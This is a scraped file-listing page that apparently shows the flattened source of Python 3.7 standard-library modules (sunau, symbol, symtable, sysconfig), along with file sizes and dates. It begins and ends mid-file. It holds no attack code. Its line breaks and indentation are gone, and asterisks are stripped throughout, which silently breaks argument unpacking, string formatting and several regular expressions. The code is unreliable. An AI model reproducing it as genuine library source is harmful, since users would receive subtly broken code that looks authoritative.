AUDIO_UNKNOWN_SIZE: return AUDIO_UNKNOWN_SIZE if self._encoding in _simple_encodings: return self._data_size // self._framesize return 0 # XXX--must do some arithmetic here def getcomptype(self): if self._encoding == AUDIO_FILE_ENCODING_MULAW_8: return 'ULAW' elif self._encoding == AUDIO_FILE_ENCODING_ALAW_8: return 'ALAW' else: return 'NONE' def getcompname(self): if self._encoding == AUDIO_FILE_ENCODING_MULAW_8: return 'CCITT G.711 u-law' elif self._encoding == AUDIO_FILE_ENCODING_ALAW_8: return 'CCITT G.711 A-law' else: return 'not compressed' def getparams(self): return _sunau_params(self.getnchannels(), self.getsampwidth(), self.getframerate(), self.getnframes(), self.getcomptype(), self.getcompname()) def getmarkers(self): return None def getmark(self, id): raise Error('no marks') def readframes(self, nframes): if self._encoding in _simple_encodings: if nframes == AUDIO_UNKNOWN_SIZE: data = self._file.read() else: data = self._file.read(nframes * self._framesize) self._soundpos += len(data) // self._framesize if self._encoding == AUDIO_FILE_ENCODING_MULAW_8: import audioop data = audioop.ulaw2lin(data, self._sampwidth) return data return None # XXX--not implemented yet def rewind(self): if self._data_pos is None: raise OSError('cannot seek') self._file.seek(self._data_pos) self._soundpos = 0 def tell(self): return self._soundpos def setpos(self, pos): if pos < 0 or pos > self.getnframes(): raise Error('position not in range') if self._data_pos is None: raise OSError('cannot seek') self._file.seek(self._data_pos + pos * self._framesize) self._soundpos = pos def close(self): file = self._file if file: self._file = None if self._opened: file.close() class Au_write: def __init__(self, f): if type(f) == type(''): import builtins f = builtins.open(f, 'wb') self._opened = True else: self._opened = False self.initfp(f) def __del__(self): if self._file: self.close() self._file = None def __enter__(self): return self def __exit__(self, args): self.close() def initfp(self, file): self._file = file self._framerate = 0 self._nchannels = 0 self._sampwidth = 0 self._framesize = 0 self._nframes = AUDIO_UNKNOWN_SIZE self._nframeswritten = 0 self._datawritten = 0 self._datalength = 0 self._info = b'' self._comptype = 'ULAW' # default is U-law def setnchannels(self, nchannels): if self._nframeswritten: raise Error('cannot change parameters after starting to write') if nchannels not in (1, 2, 4): raise Error('only 1, 2, or 4 channels supported') self._nchannels = nchannels def getnchannels(self): if not self._nchannels: raise Error('number of channels not set') return self._nchannels def setsampwidth(self, sampwidth): if self._nframeswritten: raise Error('cannot change parameters after starting to write') if sampwidth not in (1, 2, 3, 4): raise Error('bad sample width') self._sampwidth = sampwidth def getsampwidth(self): if not self._framerate: raise Error('sample width not specified') return self._sampwidth def setframerate(self, framerate): if self._nframeswritten: raise Error('cannot change parameters after starting to write') self._framerate = framerate def getframerate(self): if not self._framerate: raise Error('frame rate not set') return self._framerate def setnframes(self, nframes): if self._nframeswritten: raise Error('cannot change parameters after starting to write') if nframes < 0: raise Error('# of frames cannot be negative') self._nframes = nframes def getnframes(self): return self._nframeswritten def setcomptype(self, type, name): if type in ('NONE', 'ULAW'): self._comptype = type else: raise Error('unknown compression type') def getcomptype(self): return self._comptype def getcompname(self): if self._comptype == 'ULAW': return 'CCITT G.711 u-law' elif self._comptype == 'ALAW': return 'CCITT G.711 A-law' else: return 'not compressed' def setparams(self, params): nchannels, sampwidth, framerate, nframes, comptype, compname = params self.setnchannels(nchannels) self.setsampwidth(sampwidth) self.setframerate(framerate) self.setnframes(nframes) self.setcomptype(comptype, compname) def getparams(self): return _sunau_params(self.getnchannels(), self.getsampwidth(), self.getframerate(), self.getnframes(), self.getcomptype(), self.getcompname()) def tell(self): return self._nframeswritten def writeframesraw(self, data): if not isinstance(data, (bytes, bytearray)): data = memoryview(data).cast('B') self._ensure_header_written() if self._comptype == 'ULAW': import audioop data = audioop.lin2ulaw(data, self._sampwidth) nframes = len(data) // self._framesize self._file.write(data) self._nframeswritten = self._nframeswritten + nframes self._datawritten = self._datawritten + len(data) def writeframes(self, data): self.writeframesraw(data) if self._nframeswritten != self._nframes or \ self._datalength != self._datawritten: self._patchheader() def close(self): if self._file: try: self._ensure_header_written() if self._nframeswritten != self._nframes or \ self._datalength != self._datawritten: self._patchheader() self._file.flush() finally: file = self._file self._file = None if self._opened: file.close() # # private methods # def _ensure_header_written(self): if not self._nframeswritten: if not self._nchannels: raise Error('# of channels not specified') if not self._sampwidth: raise Error('sample width not specified') if not self._framerate: raise Error('frame rate not specified') self._write_header() def _write_header(self): if self._comptype == 'NONE': if self._sampwidth == 1: encoding = AUDIO_FILE_ENCODING_LINEAR_8 self._framesize = 1 elif self._sampwidth == 2: encoding = AUDIO_FILE_ENCODING_LINEAR_16 self._framesize = 2 elif self._sampwidth == 3: encoding = AUDIO_FILE_ENCODING_LINEAR_24 self._framesize = 3 elif self._sampwidth == 4: encoding = AUDIO_FILE_ENCODING_LINEAR_32 self._framesize = 4 else: raise Error('internal error') elif self._comptype == 'ULAW': encoding = AUDIO_FILE_ENCODING_MULAW_8 self._framesize = 1 else: raise Error('internal error') self._framesize = self._framesize self._nchannels _write_u32(self._file, AUDIO_FILE_MAGIC) header_size = 25 + len(self._info) header_size = (header_size + 7) & ~7 _write_u32(self._file, header_size) if self._nframes == AUDIO_UNKNOWN_SIZE: length = AUDIO_UNKNOWN_SIZE else: length = self._nframes * self._framesize try: self._form_length_pos = self._file.tell() except (AttributeError, OSError): self._form_length_pos = None _write_u32(self._file, length) self._datalength = length _write_u32(self._file, encoding) _write_u32(self._file, self._framerate) _write_u32(self._file, self._nchannels) self._file.write(self._info) self._file.write(b'\0'*(header_size - len(self._info) - 24)) def _patchheader(self): if self._form_length_pos is None: raise OSError('cannot seek') self._file.seek(self._form_length_pos) _write_u32(self._file, self._datawritten) self._datalength = self._datawritten self._file.seek(0, 2) def open(f, mode=None): if mode is None: if hasattr(f, 'mode'): mode = f.mode else: mode = 'rb' if mode in ('r', 'rb'): return Au_read(f) elif mode in ('w', 'wb'): return Au_write(f) else: raise Error("mode must be 'r', 'rb', 'w', or 'wb'") def openfp(f, mode=None): warnings.warn("sunau.openfp is deprecated since Python 3.7. " "Use sunau.open instead.", DeprecationWarning, stacklevel=2) return open(f, mode=mode)	17.94 KB	2024-04-17 17:55
📄 symbol.py #! /opt/alt/python37/bin/python3.7 """Non-terminal symbols of Python grammar (from "graminit.h").""" # This file is automatically generated; please don't muck it up! # # To update the symbols in this file, 'cd' to the top directory of # the python source tree after building the interpreter and run: # # ./python Lib/symbol.py #--start constants-- single_input = 256 file_input = 257 eval_input = 258 decorator = 259 decorators = 260 decorated = 261 async_funcdef = 262 funcdef = 263 parameters = 264 typedargslist = 265 tfpdef = 266 varargslist = 267 vfpdef = 268 stmt = 269 simple_stmt = 270 small_stmt = 271 expr_stmt = 272 annassign = 273 testlist_star_expr = 274 augassign = 275 del_stmt = 276 pass_stmt = 277 flow_stmt = 278 break_stmt = 279 continue_stmt = 280 return_stmt = 281 yield_stmt = 282 raise_stmt = 283 import_stmt = 284 import_name = 285 import_from = 286 import_as_name = 287 dotted_as_name = 288 import_as_names = 289 dotted_as_names = 290 dotted_name = 291 global_stmt = 292 nonlocal_stmt = 293 assert_stmt = 294 compound_stmt = 295 async_stmt = 296 if_stmt = 297 while_stmt = 298 for_stmt = 299 try_stmt = 300 with_stmt = 301 with_item = 302 except_clause = 303 suite = 304 test = 305 test_nocond = 306 lambdef = 307 lambdef_nocond = 308 or_test = 309 and_test = 310 not_test = 311 comparison = 312 comp_op = 313 star_expr = 314 expr = 315 xor_expr = 316 and_expr = 317 shift_expr = 318 arith_expr = 319 term = 320 factor = 321 power = 322 atom_expr = 323 atom = 324 testlist_comp = 325 trailer = 326 subscriptlist = 327 subscript = 328 sliceop = 329 exprlist = 330 testlist = 331 dictorsetmaker = 332 classdef = 333 arglist = 334 argument = 335 comp_iter = 336 sync_comp_for = 337 comp_for = 338 comp_if = 339 encoding_decl = 340 yield_expr = 341 yield_arg = 342 #--end constants-- sym_name = {} for _name, _value in list(globals().items()): if type(_value) is type(0): sym_name[_value] = _name def _main(): import sys import token if len(sys.argv) == 1: sys.argv = sys.argv + ["Include/graminit.h", "Lib/symbol.py"] token._main() if __name__ == "__main__": _main()	2.09 KB	2024-04-17 17:55
📄 symtable.py """Interface to the compiler's internal symbol tables""" import _symtable from _symtable import (USE, DEF_GLOBAL, DEF_LOCAL, DEF_PARAM, DEF_IMPORT, DEF_BOUND, DEF_ANNOT, SCOPE_OFF, SCOPE_MASK, FREE, LOCAL, GLOBAL_IMPLICIT, GLOBAL_EXPLICIT, CELL) import weakref __all__ = ["symtable", "SymbolTable", "Class", "Function", "Symbol"] def symtable(code, filename, compile_type): top = _symtable.symtable(code, filename, compile_type) return _newSymbolTable(top, filename) class SymbolTableFactory: def __init__(self): self.__memo = weakref.WeakValueDictionary() def new(self, table, filename): if table.type == _symtable.TYPE_FUNCTION: return Function(table, filename) if table.type == _symtable.TYPE_CLASS: return Class(table, filename) return SymbolTable(table, filename) def __call__(self, table, filename): key = table, filename obj = self.__memo.get(key, None) if obj is None: obj = self.__memo[key] = self.new(table, filename) return obj _newSymbolTable = SymbolTableFactory() class SymbolTable(object): def __init__(self, raw_table, filename): self._table = raw_table self._filename = filename self._symbols = {} def __repr__(self): if self.__class__ == SymbolTable: kind = "" else: kind = "%s " % self.__class__.__name__ if self._table.name == "global": return "<{0}SymbolTable for module {1}>".format(kind, self._filename) else: return "<{0}SymbolTable for {1} in {2}>".format(kind, self._table.name, self._filename) def get_type(self): if self._table.type == _symtable.TYPE_MODULE: return "module" if self._table.type == _symtable.TYPE_FUNCTION: return "function" if self._table.type == _symtable.TYPE_CLASS: return "class" assert self._table.type in (1, 2, 3), \ "unexpected type: {0}".format(self._table.type) def get_id(self): return self._table.id def get_name(self): return self._table.name def get_lineno(self): return self._table.lineno def is_optimized(self): return bool(self._table.type == _symtable.TYPE_FUNCTION) def is_nested(self): return bool(self._table.nested) def has_children(self): return bool(self._table.children) def has_exec(self): """Return true if the scope uses exec. Deprecated method.""" return False def get_identifiers(self): return self._table.symbols.keys() def lookup(self, name): sym = self._symbols.get(name) if sym is None: flags = self._table.symbols[name] namespaces = self.__check_children(name) sym = self._symbols[name] = Symbol(name, flags, namespaces) return sym def get_symbols(self): return [self.lookup(ident) for ident in self.get_identifiers()] def __check_children(self, name): return [_newSymbolTable(st, self._filename) for st in self._table.children if st.name == name] def get_children(self): return [_newSymbolTable(st, self._filename) for st in self._table.children] class Function(SymbolTable): # Default values for instance variables __params = None __locals = None __frees = None __globals = None def __idents_matching(self, test_func): return tuple(ident for ident in self.get_identifiers() if test_func(self._table.symbols[ident])) def get_parameters(self): if self.__params is None: self.__params = self.__idents_matching(lambda x:x & DEF_PARAM) return self.__params def get_locals(self): if self.__locals is None: locs = (LOCAL, CELL) test = lambda x: ((x >> SCOPE_OFF) & SCOPE_MASK) in locs self.__locals = self.__idents_matching(test) return self.__locals def get_globals(self): if self.__globals is None: glob = (GLOBAL_IMPLICIT, GLOBAL_EXPLICIT) test = lambda x:((x >> SCOPE_OFF) & SCOPE_MASK) in glob self.__globals = self.__idents_matching(test) return self.__globals def get_frees(self): if self.__frees is None: is_free = lambda x:((x >> SCOPE_OFF) & SCOPE_MASK) == FREE self.__frees = self.__idents_matching(is_free) return self.__frees class Class(SymbolTable): __methods = None def get_methods(self): if self.__methods is None: d = {} for st in self._table.children: d[st.name] = 1 self.__methods = tuple(d) return self.__methods class Symbol(object): def __init__(self, name, flags, namespaces=None): self.__name = name self.__flags = flags self.__scope = (flags >> SCOPE_OFF) & SCOPE_MASK # like PyST_GetScope() self.__namespaces = namespaces or () def __repr__(self): return "<symbol {0!r}>".format(self.__name) def get_name(self): return self.__name def is_referenced(self): return bool(self.__flags & _symtable.USE) def is_parameter(self): return bool(self.__flags & DEF_PARAM) def is_global(self): return bool(self.__scope in (GLOBAL_IMPLICIT, GLOBAL_EXPLICIT)) def is_declared_global(self): return bool(self.__scope == GLOBAL_EXPLICIT) def is_local(self): return bool(self.__scope in (LOCAL, CELL)) def is_annotated(self): return bool(self.__flags & DEF_ANNOT) def is_free(self): return bool(self.__scope == FREE) def is_imported(self): return bool(self.__flags & DEF_IMPORT) def is_assigned(self): return bool(self.__flags & DEF_LOCAL) def is_namespace(self): """Returns true if name binding introduces new namespace. If the name is used as the target of a function or class statement, this will be true. Note that a single name can be bound to multiple objects. If is_namespace() is true, the name may also be bound to other objects, like an int or list, that does not introduce a new namespace. """ return bool(self.__namespaces) def get_namespaces(self): """Return a list of namespaces bound to this name""" return self.__namespaces def get_namespace(self): """Returns the single namespace bound to this name. Raises ValueError if the name is bound to multiple namespaces. """ if len(self.__namespaces) != 1: raise ValueError("name is bound to multiple namespaces") return self.__namespaces[0] if __name__ == "__main__": import os, sys with open(sys.argv[0]) as f: src = f.read() mod = symtable(src, os.path.split(sys.argv[0])[1], "exec") for ident in mod.get_identifiers(): info = mod.lookup(ident) print(info, info.is_local(), info.is_namespace())	7.11 KB	2024-04-17 17:55
📄 sysconfig.py """Access to Python's configuration information.""" import os import sys from os.path import pardir, realpath __all__ = [ 'get_config_h_filename', 'get_config_var', 'get_config_vars', 'get_makefile_filename', 'get_path', 'get_path_names', 'get_paths', 'get_platform', 'get_python_version', 'get_scheme_names', 'parse_config_h', ] _INSTALL_SCHEMES = { 'posix_prefix': { 'stdlib': '{installed_base}/lib64/python{py_version_short}', 'platstdlib': '{platbase}/lib64/python{py_version_short}', 'purelib': '{base}/lib/python{py_version_short}/site-packages', 'platlib': '{platbase}/lib64/python{py_version_short}/site-packages', 'include': '{installed_base}/include/python{py_version_short}{abiflags}', 'platinclude': '{installed_platbase}/include/python{py_version_short}{abiflags}', 'scripts': '{base}/bin', 'data': '{base}', }, 'posix_home': { 'stdlib': '{installed_base}/lib/python', 'platstdlib': '{base}/lib/python', 'purelib': '{base}/lib/python', 'platlib': '{base}/lib/python', 'include': '{installed_base}/include/python', 'platinclude': '{installed_base}/include/python', 'scripts': '{base}/bin', 'data': '{base}', }, 'nt': { 'stdlib': '{installed_base}/Lib', 'platstdlib': '{base}/Lib', 'purelib': '{base}/Lib/site-packages', 'platlib': '{base}/Lib/site-packages', 'include': '{installed_base}/Include', 'platinclude': '{installed_base}/Include', 'scripts': '{base}/Scripts', 'data': '{base}', }, # NOTE: When modifying "purelib" scheme, update site._get_path() too. 'nt_user': { 'stdlib': '{userbase}/Python{py_version_nodot}', 'platstdlib': '{userbase}/Python{py_version_nodot}', 'purelib': '{userbase}/Python{py_version_nodot}/site-packages', 'platlib': '{userbase}/Python{py_version_nodot}/site-packages', 'include': '{userbase}/Python{py_version_nodot}/Include', 'scripts': '{userbase}/Python{py_version_nodot}/Scripts', 'data': '{userbase}', }, 'posix_user': { 'stdlib': '{userbase}/lib64/python{py_version_short}', 'platstdlib': '{userbase}/lib64/python{py_version_short}', 'purelib': '{userbase}/lib/python{py_version_short}/site-packages', 'platlib': '{userbase}/lib64/python{py_version_short}/site-packages', 'include': '{userbase}/include/python{py_version_short}', 'scripts': '{userbase}/bin', 'data': '{userbase}', }, 'osx_framework_user': { 'stdlib': '{userbase}/lib/python', 'platstdlib': '{userbase}/lib/python', 'purelib': '{userbase}/lib/python/site-packages', 'platlib': '{userbase}/lib/python/site-packages', 'include': '{userbase}/include', 'scripts': '{userbase}/bin', 'data': '{userbase}', }, } _SCHEME_KEYS = ('stdlib', 'platstdlib', 'purelib', 'platlib', 'include', 'scripts', 'data') # FIXME don't rely on sys.version here, its format is an implementation detail # of CPython, use sys.version_info or sys.hexversion _PY_VERSION = sys.version.split()[0] _PY_VERSION_SHORT = '%d.%d' % sys.version_info[:2] _PY_VERSION_SHORT_NO_DOT = '%d%d' % sys.version_info[:2] _PREFIX = os.path.normpath(sys.prefix) _BASE_PREFIX = os.path.normpath(sys.base_prefix) _EXEC_PREFIX = os.path.normpath(sys.exec_prefix) _BASE_EXEC_PREFIX = os.path.normpath(sys.base_exec_prefix) _CONFIG_VARS = None _USER_BASE = None def _safe_realpath(path): try: return realpath(path) except OSError: return path if sys.executable: _PROJECT_BASE = os.path.dirname(_safe_realpath(sys.executable)) else: # sys.executable can be empty if argv[0] has been changed and Python is # unable to retrieve the real program name _PROJECT_BASE = _safe_realpath(os.getcwd()) if (os.name == 'nt' and _PROJECT_BASE.lower().endswith(('\\pcbuild\\win32', '\\pcbuild\\amd64'))): _PROJECT_BASE = _safe_realpath(os.path.join(_PROJECT_BASE, pardir, pardir)) # set for cross builds if "_PYTHON_PROJECT_BASE" in os.environ: _PROJECT_BASE = _safe_realpath(os.environ["_PYTHON_PROJECT_BASE"]) def _is_python_source_dir(d): for fn in ("Setup.dist", "Setup.local"): if os.path.isfile(os.path.join(d, "Modules", fn)): return True return False _sys_home = getattr(sys, '_home', None) if os.name == 'nt': def _fix_pcbuild(d): if d and os.path.normcase(d).startswith( os.path.normcase(os.path.join(_PREFIX, "PCbuild"))): return _PREFIX return d _PROJECT_BASE = _fix_pcbuild(_PROJECT_BASE) _sys_home = _fix_pcbuild(_sys_home) def is_python_build(check_home=False): if check_home and _sys_home: return _is_python_source_dir(_sys_home) return _is_python_source_dir(_PROJECT_BASE) _PYTHON_BUILD = is_python_build(True) if _PYTHON_BUILD: for scheme in ('posix_prefix', 'posix_home'): _INSTALL_SCHEMES[scheme]['include'] = '{srcdir}/Include' _INSTALL_SCHEMES[scheme]['platinclude'] = '{projectbase}/.' def _subst_vars(s, local_vars): try: return s.format(local_vars) except KeyError: try: return s.format(os.environ) except KeyError as var: raise AttributeError('{%s}' % var) from None def _extend_dict(target_dict, other_dict): target_keys = target_dict.keys() for key, value in other_dict.items(): if key in target_keys: continue target_dict[key] = value def _expand_vars(scheme, vars): res = {} if vars is None: vars = {} _extend_dict(vars, get_config_vars()) for key, value in _INSTALL_SCHEMES[scheme].items(): if os.name in ('posix', 'nt'): value = os.path.expanduser(value) res[key] = os.path.normpath(_subst_vars(value, vars)) return res def _get_default_scheme(): if os.name == 'posix': # the default scheme for posix is posix_prefix return 'posix_prefix' return os.name # NOTE: site.py has copy of this function. # Sync it when modify this function. def _getuserbase(): env_base = os.environ.get("PYTHONUSERBASE", None) if env_base: return env_base def joinuser(args): return os.path.expanduser(os.path.join(args)) if os.name == "nt": base = os.environ.get("APPDATA") or "~" return joinuser(base, "Python") if sys.platform == "darwin" and sys._framework: return joinuser("~", "Library", sys._framework, "%d.%d" % sys.version_info[:2]) return joinuser("~", ".local") def _parse_makefile(filename, vars=None): """Parse a Makefile-style file. A dictionary containing name/value pairs is returned. If an optional dictionary is passed in as the second argument, it is used instead of a new dictionary. """ # Regexes needed for parsing Makefile (and similar syntaxes, # like old-style Setup files). import re _variable_rx = re.compile(r"([a-zA-Z][a-zA-Z0-9_]+)\s=\s(.)") _findvar1_rx = re.compile(r"\$$([A-Za-z][A-Za-z0-9_])$") _findvar2_rx = re.compile(r"\${([A-Za-z][A-Za-z0-9_])}") if vars is None: vars = {} done = {} notdone = {} with open(filename, errors="surrogateescape") as f: lines = f.readlines() for line in lines: if line.startswith('#') or line.strip() == '': continue m = _variable_rx.match(line) if m: n, v = m.group(1, 2) v = v.strip() # `$$' is a literal `$' in make tmpv = v.replace('$$', '') if "$" in tmpv: notdone[n] = v else: try: v = int(v) except ValueError: # insert literal `$' done[n] = v.replace('$$', '$') else: done[n] = v # do variable interpolation here variables = list(notdone.keys()) # Variables with a 'PY_' prefix in the makefile. These need to # be made available without that prefix through sysconfig. # Special care is needed to ensure that variable expansion works, even # if the expansion uses the name without a prefix. renamed_variables = ('CFLAGS', 'LDFLAGS', 'CPPFLAGS') while len(variables) > 0: for name in tuple(variables): value = notdone[name] m1 = _findvar1_rx.search(value) m2 = _findvar2_rx.search(value) if m1 and m2: m = m1 if m1.start() < m2.start() else m2 else: m = m1 if m1 else m2 if m is not None: n = m.group(1) found = True if n in done: item = str(done[n]) elif n in notdone: # get it on a subsequent round found = False elif n in os.environ: # do it like make: fall back to environment item = os.environ[n] elif n in renamed_variables: if (name.startswith('PY_') and name[3:] in renamed_variables): item = "" elif 'PY_' + n in notdone: found = False else: item = str(done['PY_' + n]) else: done[n] = item = "" if found: after = value[m.end():] value = value[:m.start()] if item.strip() not in value: value += item value += after if "$" in after: notdone[name] = value else: try: value = int(value) except ValueError: done[name] = value.strip() else: done[name] = value variables.remove(name) if name.startswith('PY_') \ and name[3:] in renamed_variables: name = name[3:] if name not in done: done[name] = value else: # bogus variable reference (e.g. "prefix=$/opt/python"); # just drop it since we can't deal done[name] = value variables.remove(name) # strip spurious spaces for k, v in done.items(): if isinstance(v, str): done[k] = v.strip() # save the results in the global dictionary vars.update(done) return vars def get_makefile_filename(): """Return the path of the Makefile.""" if _PYTHON_BUILD: return os.path.join(_sys_home or _PROJECT_BASE, "Makefile") if hasattr(sys, 'abiflags'): config_dir_name = 'config-%s%s' % (_PY_VERSION_SHORT, sys.abiflags) else: config_dir_name = 'config' if hasattr(sys.implementation, '_multiarch'): config_dir_name += '-%s' % sys.implementation._multiarch return os.path.join(get_path('stdlib'), config_dir_name, 'Makefile') def _get_sysconfigdata_name(): return os.environ.get('_PYTHON_SYSCONFIGDATA_NAME', '_sysconfigdata_{abi}_{platform}_{multiarch}'.format( abi=sys.abiflags, platform=sys.platform, multiarch=getattr(sys.implementation, '_multiarch', ''), )) def _generate_posix_vars(): """Generate the Python module containing build-time variables.""" import pprint vars = {} # load the installed Makefile: makefile = get_makefile_filename() try: _parse_makefile(makefile, vars) except OSError as e: msg = "invalid Python installation: unable to open %s" % makefile if hasattr(e, "strerror"): msg = msg + " (%s)" % e.strerror raise OSError(msg) # load the installed pyconfig.h: config_h = get_config_h_filename() try: with open(config_h) as f: parse_config_h(f, vars) except OSError as e: msg = "invalid Python installation: unable to open %s" % config_h if hasattr(e, "strerror"): msg = msg + " (%s)" % e.strerror raise OSError(msg) # On AIX, there are wrong paths to the linker scripts in the Makefile # -- these paths are relative to the Python source, but when installed # the scripts are in another directory. if _PYTHON_BUILD: vars['BLDSHARED'] = vars['LDSHARED'] # There's a chicken-and-egg situation on OS X with regards to the # _sysconfigdata module after the changes introduced by #15298: # get_config_vars() is called by get_platform() as part of the # `make pybuilddir.txt` target -- which is a precursor to the # _sysconfigdata.py module being constructed. Unfortunately, # get_config_vars() eventually calls _init_posix(), which attempts # to import _sysconfigdata, which we won't have built yet. In order # for _init_posix() to work, if we're on Darwin, just mock up the # _sysconfigdata module manually and populate it with the build vars. # This is more than sufficient for ensuring the subsequent call to # get_platform() succeeds. name = _get_sysconfigdata_name() if 'darwin' in sys.platform: import types module = types.ModuleType(name) module.build_time_vars = vars sys.modules[name] = module pybuilddir = 'build/lib.%s-%s' % (get_platform(), _PY_VERSION_SHORT) if hasattr(sys, "gettotalrefcount"): pybuilddir += '-pydebug' os.makedirs(pybuilddir, exist_ok=True) destfile = os.path.join(pybuilddir, name + '.py') with open(destfile, 'w', encoding='utf8') as f: f.write('# system configuration generated and used by' ' the sysconfig module\n') f.write('build_time_vars = ') pprint.pprint(vars, stream=f) # Create file used for sys.path fixup -- see Modules/getpath.c with open('pybuilddir.txt', 'w', encoding='ascii') as f: f.write(pybuilddir) def _init_posix(vars): """Initialize the module as appropriate for POSIX systems.""" # _sysconfigdata is generated at build time, see _generate_posix_vars() name = _get_sysconfigdata_name() _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0) build_time_vars = _temp.build_time_vars vars.update(build_time_vars) def _init_non_posix(vars): """Initialize the module as appropriate for NT""" # set basic install directories vars['LIBDEST'] = get_path('stdlib') vars['BINLIBDEST'] = get_path('platstdlib') vars['INCLUDEPY'] = get_path('include') vars['EXT_SUFFIX'] = '.pyd' vars['EXE'] = '.exe' vars['VERSION'] = _PY_VERSION_SHORT_NO_DOT vars['BINDIR'] = os.path.dirname(_safe_realpath(sys.executable)) # # public APIs # def parse_config_h(fp, vars=None): """Parse a config.h-style file. A dictionary containing name/value pairs is returned. If an optional dictionary is passed in as the second argument, it is used instead of a new dictionary. """ if vars is None: vars = {} import re define_rx = re.compile("#define ([A-Z][A-Za-z0-9_]+) (.)\n") undef_rx = re.compile("/[] #undef ([A-Z][A-Za-z0-9_]+) []/\n") while True: line = fp.readline() if not line: break m = define_rx.match(line) if m: n, v = m.group(1, 2) try: v = int(v) except ValueError: pass vars[n] = v else: m = undef_rx.match(line) if m: vars[m.group(1)] = 0 return vars def get_config_h_filename(): """Return the path of pyconfig.h.""" if _PYTHON_BUILD: if os.name == "nt": inc_dir = os.path.join(_sys_home or _PROJECT_BASE, "PC") else: inc_dir = _sys_home or _PROJECT_BASE else: inc_dir = get_path('platinclude') return os.path.join(inc_dir, 'pyconfig-64.h') def get_scheme_names(): """Return a tuple containing the schemes names.""" return tuple(sorted(_INSTALL_SCHEMES)) def get_path_names(): """Return a tuple containing the paths names.""" return _SCHEME_KEYS def get_paths(scheme=_get_default_scheme(), vars=None, expand=True): """Return a mapping containing an install scheme. ``scheme`` is the install scheme name. If not provided, it will return the default scheme for the current platform. """ if expand: return _expand_vars(scheme, vars) else: return _INSTALL_SCHEMES[scheme] def get_path(name, scheme=_get_default_scheme(), vars=None, expand=True): """Return a path corresponding to the scheme. ``scheme`` is the install scheme name. """ return get_paths(scheme, vars, expand)[name] def get_config_vars(*args): """With no arguments, return a dictionary of all configuration variables relevant for the current platform. On Unix, this means every variable defined in Python's installed Makefile; On Windows it's a much smaller set. With arguments, return a list of values that result from looking up each argument in the configuration variable dictionary. """ global _CONFIG_VARS if _CONFIG_VARS is None: _CONFIG_VARS = {} # Normalized versions of prefix and exec_prefix are handy to have; # in fact, these are the standard versions used most places in the # Distutils. _CONFIG_VARS['prefix'] = _PREFIX _CONFIG_VARS['exec_prefix'] = _EXEC_PREFIX _CONFIG_VARS['py_version'] = _PY_VERSION _CONFIG_VARS['py_version_short'] = _PY_VERSION_SHORT _CONFIG_VARS['py_version_nodot'] = _PY_VERSION_SHORT_NO_DOT _CONFIG_VARS['installed_base'] = _BASE_PREFIX _CONFIG_VARS['base'] = _PREFIX _CONFIG_VARS['installed_platbase'] = _BASE_EXEC_PREFIX _CONFIG_VARS['platbase'] = _EXEC_PREFIX _CONFIG_VARS['projectbase'] = _PROJECT_BASE try: _CONFIG_VARS['abiflags'] = sys.abiflags except AttributeError: # sys.abiflags may not be defined on all platforms. _CONFIG_VARS['abiflags'] = '' if os.name == 'nt': _init_non_posix(_CONFIG_VARS) if os.name == 'posix': _init_posix(_CONFIG_VARS) # For backward compatibility, see issue19555 SO = _CONFIG_VARS.get('EXT_SUFFIX') if SO is not None: _CONFIG_VARS['SO'] = SO # Setting 'userbase' is done below the call to the # init function to enable using 'get_config_var' in # the init-function. _CONFIG_VARS['userbase'] = _getuserbase() # Always convert srcdir to an absolute path srcdir = _CONFIG_VARS.get('srcdir', _PROJECT_BASE) if os.name == 'posix': if _PYTHON_BUILD: # If srcdir is a relative path (typically '.' or '..') # then it should be interpreted relative to the directory # containing Makefile. base = os.path.dirname(get_makefile_filename()) srcdir = os.path.join(base, srcdir) else: # srcdir is not meaningful since the installation is # spread about the filesystem. We choose the # directory containing the Makefile since we know it # exists. srcdir = os.path.dirname(get_makefile_filename()) _CONFIG_VARS['srcdir'] = _safe_realpath(srcdir) # OS X platforms require special customization to handle # multi-architecture, multi-os-version installers if sys.platform == 'darwin': import _osx_support _osx_support.customize_config_vars(_CONFIG_VARS) if args: vals = [] for name in args: vals.append(_CONFIG_VARS.get(name)) return vals else: return _CONFIG_VARS def get_config_var(name): """Return the value of a single variable using the dictionary returned by 'get_config_vars()'. Equivalent to get_config_vars().get(name) """ if name == 'SO': import warnings warnings.warn('SO is deprecated, use EXT_SUFFIX', DeprecationWarning, 2) return get_config_vars().get(name) def get_platform(): """Return a string that identifies the current platform. This is used mainly to distinguish platform-specific build directories and platform-specific built distributions. Typically includes the OS name and version and the architecture (as supplied by 'os.uname()'), although the exact information included depends on the OS; on Linux, the kernel version isn't particularly important. Examples of returned values: linux-i586 linux-alpha (?) solaris-2.6-sun4u Windows will return one of: win-amd64 (64bit Windows on AMD64 (aka x86_64, Intel64, EM64T, etc) win32 (all others - specifically, sys.platform is returned) For other non-POSIX platforms, currently just returns 'sys.platform'. """ if os.name == 'nt': if 'amd64' in sys.version.lower(): return 'win-amd64' return sys.platform if os.name != "posix" or not hasattr(os, 'uname'): # XXX what about the architecture? NT is Intel or Alpha return sys.platform # Set for cross builds explicitly if "_PYTHON_HOST_PLATFORM" in os.environ: return os.environ["_PYTHON_HOST_PLATFORM"] # Try to distinguish various flavours of Unix osname, host, release, version, machine = os.uname() # Convert the OS name to lowercase, remove '/' characters, and translate # spaces (for "Power Macintosh") osname = osname.lower().replace('/', '') machine = machine.replace(' ', '_') machine = machine.replace('/', '-') if osname[:5] == "linux": # At least on Linux/Intel, 'machine' is the processor -- # i386, etc. # XXX what about Alpha, SPARC, etc? return "%s-%s" % (osname, machine) elif osname[:5] == "sunos": if release[0] >= "5": # SunOS 5 == Solaris 2 osname = "solaris" release = "%d.%s" % (int(release[0]) - 3, release[2:]) # We can't use "platform.architecture()[0]" because a # bootstrap problem. We use a dict to get an error # if some suspicious happens. bitness = {2147483647:"32bit", 9223372036854775807:"64bit"} machine += ".%s" % bitness[sys.maxsize] # fall through to standard osname-release-machine representation elif osname[:3] == "aix": return "%s-%s.%s" % (osname, version, release) elif osname[:6] == "cygwin": osname = "cygwin" import re rel_re = re.compile(r'[\d.]+') m = rel_re.match(release) if m: release = m.group() elif osname[:6] == "darwin": import _osx_support osname, release, machine = _osx_support.get_platform_osx( get_config_vars(), osname, release, machine) return "%s-%s-%s" % (osname, release, machine) def get_python_version(): return _PY_VERSION_SHORT def _print_dict(title, data): for index, (key, value) in enumerate(sorted(data.items())): if index == 0: print('%s: ' % (title)) print('\t%s = "%s"' % (key, value)) def _main(): """Display all information sysconfig detains.""" if '--generate-posix-vars' in sys.argv: _generate_posix_vars() return print('Platform: 